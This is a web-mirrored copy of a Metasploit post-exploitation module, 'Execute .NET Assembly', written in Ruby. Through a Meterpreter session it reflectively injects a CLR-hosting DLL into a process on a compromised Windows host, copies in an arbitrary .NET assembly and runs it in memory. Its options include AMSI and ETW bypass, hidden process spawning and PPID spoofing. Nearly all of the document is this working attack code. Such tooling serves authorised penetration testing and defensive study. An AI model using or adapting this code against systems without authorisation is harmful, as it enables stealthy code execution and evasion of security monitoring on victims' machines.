Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/execute_dotnet_assembly.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
include Msf::Post::File
9
include Msf::Exploit::Retry
10
include Msf::Post::Windows::Priv
11
include Msf::Post::Windows::Process
12
include Msf::Post::Windows::ReflectiveDLLInjection
13
include Msf::Post::Windows::Dotnet
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Execute .NET Assembly',
20
'Description' => %q{
21
This module executes a .NET assembly in memory. It
22
reflectively loads a dll that will host CLR, then it copies
23
the assembly to be executed into memory. Credits for AMSI
24
bypass to Rastamouse (@_RastaMouse)
25
},
26
'License' => MSF_LICENSE,
27
'Author' => 'b4rtik',
28
'Arch' => [ARCH_X64, ARCH_X86],
29
'Platform' => 'win',
30
'SessionTypes' => ['meterpreter'],
31
'Targets' => [['Windows x64', { 'Arch' => ARCH_X64 }], ['Windows x86', { 'Arch' => ARCH_X86 }]],
32
'References' => [['URL', 'https://b4rtik.github.io/posts/execute-assembly-via-meterpreter-session/']],
33
'DefaultTarget' => 0,
34
'Compat' => {
35
'Meterpreter' => {
36
'Commands' => %w[
37
stdapi_sys_process_attach
38
stdapi_sys_process_execute
39
stdapi_sys_process_get_processes
40
stdapi_sys_process_getpid
41
stdapi_sys_process_kill
42
stdapi_sys_process_memory_allocate
43
stdapi_sys_process_memory_write
44
stdapi_sys_process_thread_create
45
]
46
}
47
},
48
'Notes' => {
49
'Stability' => [CRASH_SAFE],
50
'SideEffects' => [IOC_IN_LOGS],
51
'Reliability' => []
52
}
53
)
54
)
55
spawn_condition = ['TECHNIQUE', '==', 'SPAWN_AND_INJECT']
56
inject_condition = ['TECHNIQUE', '==', 'INJECT']
57
58
register_options(
59
[
60
OptEnum.new('TECHNIQUE', [true, 'Technique for executing assembly', 'SELF', ['SELF', 'INJECT', 'SPAWN_AND_INJECT']]),
61
OptPath.new('DOTNET_EXE', [true, 'Assembly file name']),
62
OptString.new('ARGUMENTS', [false, 'Command line arguments']),
63
OptBool.new('AMSIBYPASS', [true, 'Enable AMSI bypass', true]),
64
OptBool.new('ETWBYPASS', [true, 'Enable ETW bypass', true]),
65
OptString.new('PROCESS', [false, 'Process to spawn', 'notepad.exe'], conditions: spawn_condition),
66
OptBool.new('USETHREADTOKEN', [false, 'Spawn process using the current thread impersonation', true], conditions: spawn_condition),
67
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process (no PPID spoofing if unset)', nil], conditions: spawn_condition),
68
OptInt.new('PID', [false, 'PID to inject into', nil], conditions: inject_condition),
69
]
70
)
71
72
register_advanced_options(
73
[
74
OptBool.new('KILL', [true, 'Kill the launched process at the end of the task', true], conditions: spawn_condition)
75
]
76
)
77
78
self.terminate_process = false
79
self.hprocess = nil
80
self.handles_to_close = []
81
end
82
83
def find_required_clr(exe_path)
84
filecontent = File.read(exe_path).bytes
85
sign = 'v4.0.30319'.bytes
86
filecontent.each_with_index do |_item, index|
87
sign.each_with_index do |subitem, indexsub|
88
break if subitem.to_s(16) != filecontent[index + indexsub].to_s(16)
89
90
if indexsub == 9
91
vprint_status('CLR version required: v4.0.30319')
92
return 'v4.0.30319'
93
end
94
end
95
end
96
vprint_status('CLR version required: v2.0.50727')
97
'v2.0.50727'
98
end
99
100
def check_requirements(clr_req, installed_dotnet_versions)
101
installed_dotnet_versions.each do |fi|
102
if clr_req == 'v4.0.30319'
103
if fi[0] == '4'
104
vprint_status('Requirements ok')
105
return true
106
end
107
elsif clr_req == 'v2.0.50727'
108
if fi[0] == '3' || fi[0] == '2'
109
vprint_status('Requirements ok')
110
return true
111
end
112
end
113
end
114
print_error('Required dotnet version not present')
115
false
116
end
117
118
def run
119
fail_with(Failure::BadConfig, 'Only meterpreter sessions are supported by this module') unless session.type == 'meterpreter'
120
121
exe_path = datastore['DOTNET_EXE']
122
123
unless File.file?(exe_path)
124
fail_with(Failure::BadConfig, 'Assembly not found')
125
end
126
127
installed_dotnet_versions = get_dotnet_versions
128
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
129
if installed_dotnet_versions == []
130
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
131
end
132
133
rclr = find_required_clr(exe_path)
134
if check_requirements(rclr, installed_dotnet_versions) == false
135
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
136
end
137
138
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
139
print_status("Running module against #{hostname} (#{session.session_host})")
140
141
execute_assembly(exe_path, rclr)
142
end
143
144
def cleanup
145
if terminate_process && !hprocess.nil? && !hprocess.pid.nil?
146
print_good("Killing process #{hprocess.pid}")
147
begin
148
client.sys.process.kill(hprocess.pid)
149
rescue Rex::Post::Meterpreter::RequestError => e
150
print_warning("Error while terminating process: #{e}")
151
print_warning('Process may already have terminated')
152
end
153
end
154
155
handles_to_close.each(&:close)
156
end
157
158
def sanitize_process_name(process_name)
159
if process_name.split(//).last(4).join.eql? '.exe'
160
out_process_name = process_name
161
else
162
"#{process_name}.exe"
163
end
164
out_process_name
165
end
166
167
def pid_exists(pid)
168
host_processes = client.sys.process.get_processes
169
if host_processes.empty?
170
print_bad('No running processes found on the target host.')
171
return false
172
end
173
174
theprocess = host_processes.find { |x| x['pid'] == pid }
175
176
!theprocess.nil?
177
end
178
179
def launch_process
180
if datastore['PROCESS'].nil?
181
fail_with(Failure::BadConfig, 'Spawn and inject selected, but no process was specified')
182
end
183
184
ppid_selected = datastore['PPID'] != 0 && !datastore['PPID'].nil?
185
if ppid_selected && !pid_exists(datastore['PPID'])
186
fail_with(Failure::BadConfig, "Process #{datastore['PPID']} was not found")
187
elsif ppid_selected
188
print_status("Spoofing PPID #{datastore['PPID']}")
189
end
190
191
process_name = sanitize_process_name(datastore['PROCESS'])
192
print_status("Launching #{process_name} to host CLR...")
193
194
begin
195
process = client.sys.process.execute(process_name, nil, {
196
'Channelized' => false,
197
'Hidden' => true,
198
'UseThreadToken' => !(!datastore['USETHREADTOKEN']),
199
'ParentPid' => datastore['PPID']
200
})
201
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
202
rescue Rex::Post::Meterpreter::RequestError => e
203
fail_with(Failure::BadConfig, "Unable to launch process: #{e}")
204
end
205
206
print_good("Process #{hprocess.pid} launched.")
207
hprocess
208
end
209
210
def inject_hostclr_dll(process, arch)
211
print_status("Reflectively injecting the Host DLL into #{process.pid} (#{arch})...")
212
213
dll = 'HostingCLRx64.dll' if arch == ARCH_X64
214
dll = 'HostingCLRWin32.dll' if arch == ARCH_X86
215
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', dll)
216
library_path = ::File.expand_path(library_path)
217
218
print_status("Injecting Host into #{process.pid}...")
219
# Memory management note: this memory is freed by the C++ code itself upon completion
220
# of the assembly
221
inject_dll_into_process(process, library_path)
222
end
223
224
def open_process(pid)
225
if (pid == 0) || pid.nil?
226
fail_with(Failure::BadConfig, 'Inject technique selected, but no PID set')
227
end
228
229
if pid_exists(pid)
230
print_status("Opening handle to process #{pid}...")
231
begin
232
hprocess = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
233
rescue Rex::Post::Meterpreter::RequestError => e
234
fail_with(Failure::BadConfig, "Unable to access process #{pid}: #{e}")
235
end
236
print_good('Handle opened')
237
hprocess
238
else
239
fail_with(Failure::BadConfig, 'PID not found')
240
end
241
end
242
243
def get_process_arch(pid)
244
process = session.sys.process.each_process.find { |i| i['pid'] == pid }
245
if process.nil?
246
fail_with(Failure::BadConfig, 'PID not found')
247
end
248
249
arch = process['arch']
250
fail_with(Failure::BadConfig, "Unknown architecture: #{arch}") unless arch == ARCH_X64 || arch == ARCH_X86
251
252
arch
253
end
254
255
def execute_assembly(exe_path, clr_version)
256
if datastore['TECHNIQUE'] == 'SPAWN_AND_INJECT'
257
self.hprocess = launch_process
258
self.terminate_process = datastore['KILL']
259
arch = get_process_arch(hprocess.pid)
260
else
261
if datastore['TECHNIQUE'] == 'INJECT'
262
inject_pid = datastore['PID']
263
elsif datastore['TECHNIQUE'] == 'SELF'
264
inject_pid = client.sys.process.getpid
265
end
266
arch = get_process_arch(inject_pid)
267
268
self.hprocess = open_process(inject_pid)
269
end
270
271
handles_to_close.append(hprocess)
272
273
begin
274
exploit_mem, offset = inject_hostclr_dll(hprocess, arch)
275
276
pipe_suffix = Rex::Text.rand_text_alphanumeric(8)
277
pipe_name = "\\\\.\\pipe\\#{pipe_suffix}"
278
appdomain_name = Rex::Text.rand_text_alpha(9)
279
vprint_status("Connecting with CLR via #{pipe_name}")
280
vprint_status("Running in new AppDomain: #{appdomain_name}")
281
assembly_mem = copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, hprocess)
282
rescue Rex::Post::Meterpreter::RequestError => e
283
fail_with(Failure::PayloadFailed, "Error while allocating memory: #{e}")
284
end
285
286
print_status('Executing...')
287
begin
288
thread = hprocess.thread.create(exploit_mem + offset, assembly_mem)
289
handles_to_close.append(thread)
290
291
pipe = nil
292
retry_until_truthy(timeout: 15) do
293
pipe = client.fs.file.open(pipe_name)
294
true
295
rescue Rex::Post::Meterpreter::RequestError => e
296
if e.code != Msf::WindowsError::FILE_NOT_FOUND
297
# File not found is expected, since the pipe may not be set up yet.
298
# Any other error would be surprising.
299
vprint_error("Error while attaching to named pipe: #{e.inspect}")
300
end
301
false
302
end
303
304
if pipe.nil?
305
fail_with(Failure::PayloadFailed, 'Unable to connect to output stream')
306
end
307
308
basename = File.basename(datastore['DOTNET_EXE'])
309
dir = Msf::Config.log_directory + File::SEPARATOR + 'dotnet'
310
unless Dir.exist?(dir)
311
Dir.mkdir(dir)
312
end
313
logfile = dir + File::SEPARATOR + "log_#{basename}_#{Time.now.strftime('%Y%m%d%H%M%S')}"
314
read_output(pipe, logfile)
315
# rubocop:disable Lint/RescueException
316
rescue Rex::Post::Meterpreter::RequestError => e
317
fail_with(Failure::PayloadFailed, e.message)
318
rescue ::Exception => e
319
# rubocop:enable Lint/RescueException
320
unless terminate_process
321
# We don't provide a trigger to the assembly to self-terminate, so it will continue on its merry way.
322
# Because named pipes don't have an infinite buffer, if too much additional output is provided by the
323
# assembly, it will block until we read it. So it could hang at an unpredictable location.
324
# Also, since we can't confidently clean up the memory of the DLL that may still be running, there
325
# will also be a memory leak.
326
327
reason = 'terminating due to exception'
328
if e.is_a?(::Interrupt)
329
reason = 'interrupted'
330
end
331
332
print_warning('****')
333
print_warning("Execution #{reason}. Assembly may still be running. However, as we are no longer retrieving output, it may block at an unpredictable location.")
334
print_warning('****')
335
end
336
337
raise
338
end
339
340
print_good('Execution finished.')
341
end
342
343
def copy_assembly(pipe_name, appdomain_name, clr_version, exe_path, process)
344
print_status("Host injected. Copy assembly into #{process.pid}...")
345
# Structure:
346
# - Packed metadata (string/data lengths, flags)
347
# - Pipe Name
348
# - Appdomain Name
349
# - CLR Version
350
# - Param data
351
# - Assembly data
352
assembly_size = File.size(exe_path)
353
354
cln_params = ''
355
cln_params << datastore['ARGUMENTS'] unless datastore['ARGUMENTS'].nil?
356
cln_params << "\x00"
357
358
pipe_name = pipe_name.encode(::Encoding::ASCII_8BIT)
359
appdomain_name = appdomain_name.encode(::Encoding::ASCII_8BIT)
360
clr_version = clr_version.encode(::Encoding::ASCII_8BIT)
361
params = [
362
pipe_name.bytesize,
363
appdomain_name.bytesize,
364
clr_version.bytesize,
365
cln_params.length,
366
assembly_size,
367
datastore['AMSIBYPASS'] ? 1 : 0,
368
datastore['ETWBYPASS'] ? 1 : 0,
369
].pack('IIIIICC')
370
371
payload = params
372
payload += pipe_name
373
payload += appdomain_name
374
payload += clr_version
375
payload += cln_params
376
payload += File.read(exe_path)
377
378
payload_size = payload.length
379
380
# Memory management note: this memory is freed by the C++ code itself upon completion
381
# of the assembly
382
allocated_memory = process.memory.allocate(payload_size, PROT_READ | PROT_WRITE)
383
process.memory.write(allocated_memory, payload)
384
print_status('Assembly copied.')
385
allocated_memory
386
end
387
388
def read_output(pipe, logfilename)
389
print_status('Start reading output')
390
391
print_status("Writing output to #{logfilename}")
392
logfile = File.open(logfilename, 'wb')
393
394
begin
395
loop do
396
output = pipe.read(1024)
397
if !output.nil? && !output.empty?
398
print(output)
399
logfile.write(output)
400
end
401
break if output.nil? || output.empty?
402
end
403
rescue ::StandardError => e
404
print_error("Exception: #{e.inspect}")
405
end
406
407
logfile.close
408
print_status('End output.')
409
end
410
411
attr_accessor :terminate_process, :hprocess, :handles_to_close
412
end
413
414